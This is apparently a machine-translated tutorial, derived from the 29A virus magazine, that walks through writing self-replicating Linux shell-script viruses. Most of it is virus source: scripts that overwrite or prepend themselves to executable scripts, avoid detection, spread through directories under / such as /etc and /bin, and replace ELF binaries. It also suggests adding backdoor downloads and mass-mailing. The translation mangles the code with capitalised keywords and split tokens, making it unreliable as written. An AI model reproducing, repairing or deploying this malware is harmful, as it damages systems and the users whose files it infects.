Linux scripting technology

Preface
----
This article is from the 29A virus magazine. It gives a comprehensive explanation of the linux shell virus technology. I don't want to translate it. I use its article as a template.
I have written this Chinese article and I have debugged all the code in it.
For shell programmers, the so-called shell virus technology is actually nothing but a calf, which will be realized after reading this article.
However, it's easy to understand.

Main shell virus technologies
-------------------
Of course, this article requires you to understand at least the basic knowledge of linux shell programming and the virus knowledge of the star.
OK! Let's get started!
Let's take a look at the most primitive shell virus. The code can best illustrate the problem:
---------------------------------------------------------
# Shellvirus I
For file in *
Do
Cp $0 $ file
Done
---------------------------------------------------------
Simple? Traverse all files in the current file system and overwrite all files. However, we know that linux is a multi-user operating system, and its files are
Protection mode, so the above script may report a lot of errors, so it will soon be detected by the Administrator and stop its infection. So we can
Make a judgment for the script, so the concealment is greatly enhanced:
---------------------------------------------------------
# Shellvirus II
For file in *
Do
If test-f $ file
Then
If test-x $ file
Then
If test-w $ file
Then
If grep-s echo $ file>. mmm
Then
Cp $0 $ file
Fi; fi
Done
Rm. mmm-f
---------------------------------------------------------
OK. We improved it by adding some judgments to determine whether the file exists, whether the file is executable, whether we have the permission to write, and whether it is a script program.
If it is cp $0 $ file, the code here feels that all the script programs in the system are harmful. if grep-s echo $ file>/. mmm
This statement can also be written as follows: if file $ file | grep-s 'Bourne shell script'>/dev/nul; then, that is, whether the file is shell
Script program.
However, once the script virus is infected, nothing will be done. It is not as harmful as the binary virus, and the above scripts are just simple
It only overwrites the host, so I used the traditional binary virus infection mechanism here, and the effect is also good :). Let's look at the following code:
---------------------------------------------------------
# Infection
Head-n 24 $0>. test <-save it to. test.
For file in * <-traverse the file System
Do
If test-f $ file <-determines whether the file is a file
Then
If test-x $ file <-determines whether the file is executable.
Then
If test-w $ file <-determines whether the file is writable.
Then
If grep-s echo $ file>. mmm <-determines whether it is a script program.
Then
Head-n 1 $ file>. mm <-extract the first line of the script program to be infected
If grep-s infection. mm>. mmm <-determines whether the file has been infected
Then
Rm-f. mm <-already infected, skip
Else <-not infected yet
Cat $ file>. SAVEE <-familiar with it? Uses the traditional binary file infection Mechanism
Cat. test> $ file
Cat. SAVEE> $ file
Fi; fi
Done
Rm. test. SAVEE. mmm. mm-f
--------------------------------------------------------
The program annotation is enough to explain that it actually increases the potential hazard, but it is still very easy to be found, there is no way to do things, shell scripts are generally plain text, haha.
The hazard is already quite serious. This program uses an infection sign: infection to determine whether it has been infected and can be reflected in the program.
OK. In order to make the above Code not easy to discover, I must optimize it. The first consideration must be refined code:
--------------------------------------------------------
# Infection
For file in *; do
If test-f $ file & test-x $ file & test-w $ file; then
If grep-s echo $ file>/dev/nul; then
Head-n 1 $ file>. mm
If grep-s infection. mm>/dev/nul; then
Rm. mm-f; else
Cat $ file>. SAVEE
Head-n 13 $0> $ file
Cat. SAVEE> $ file
Fi; fi
Done
Rm. SAVEE. mm-f
--------------------------------------------------------
Now only two temporary files are generated, and the code is reduced to 13 lines. Of course, it can be fully used; to write the code or even 1-2 lines, but here I just want to explain the problem.
No.
Well, let's see what other useful things the shell virus can do. It is possible that we want to infect files in other directories, such as the root directory or/etc,/bin, because most
Some useful system configuration scripts are stored in those directories. You only need to make slight changes to the above Code :)
--------------------------------------------------------
# Infection
Xtemp = $ pwd <-Save the current path
Head-n 22 $0>/. test
For dir in/*; do <-traverse/directory
If test-d $ dir; then <-if it is a directory, cd the directory.
Cd $ dir
For file in *; do <-traverse the directory file
If test-f $ file & test-x $ file & test-w $ file; then <-determines whether the file is executable and writable.
If grep-s echo $ file>/dev/nul; then <-determine whether it is a script program
Head-n 1 $ file>. mm
If grep-s infection. mm>/dev/nul; then <-determine whether the infection has been performed.
Rm. mm-f; else
Cat $ file>/. SAVEE <-same as the previous infection mechanism, the uninfected script program is infected.
Cat/. test> $ file
Cat/. SAVEE> $ file
Fi; fi
Done
Cd ..
Fi
Done
Cd $ xtemp <-return to the original directory
Rm/. test/. SAVEE. mm-f
-------------------------------------------------------------
In fact, this code only infected a directory under the/directory. Of course we can make it more infected, just add a few loops. Similarly, shell viruses can do a lot of things.
For example, download the backdoor program to automatically open a backdoor for the machine, take the initiative to attack other machines connected to the Internet, take the user's email to send the infection, etc. In short, its implementation technology is not advanced,
But it is also more practical and worth explaining.
Similarly, we can also infect the elf file, but it is very harmful. Here we will not focus on it. Let's take a look at it for a routine :)
-------------------------------------------------------------
For file in *; do
If test-f $ file & test-x $ file & test-w $ file; then
If file $ file | grep-s 'elf'>/dev/nul; then
Mv $ file. $ file
Head-n 9 $0> $ file
Fi; fi
Done
. $0
-------------------------------------------------------------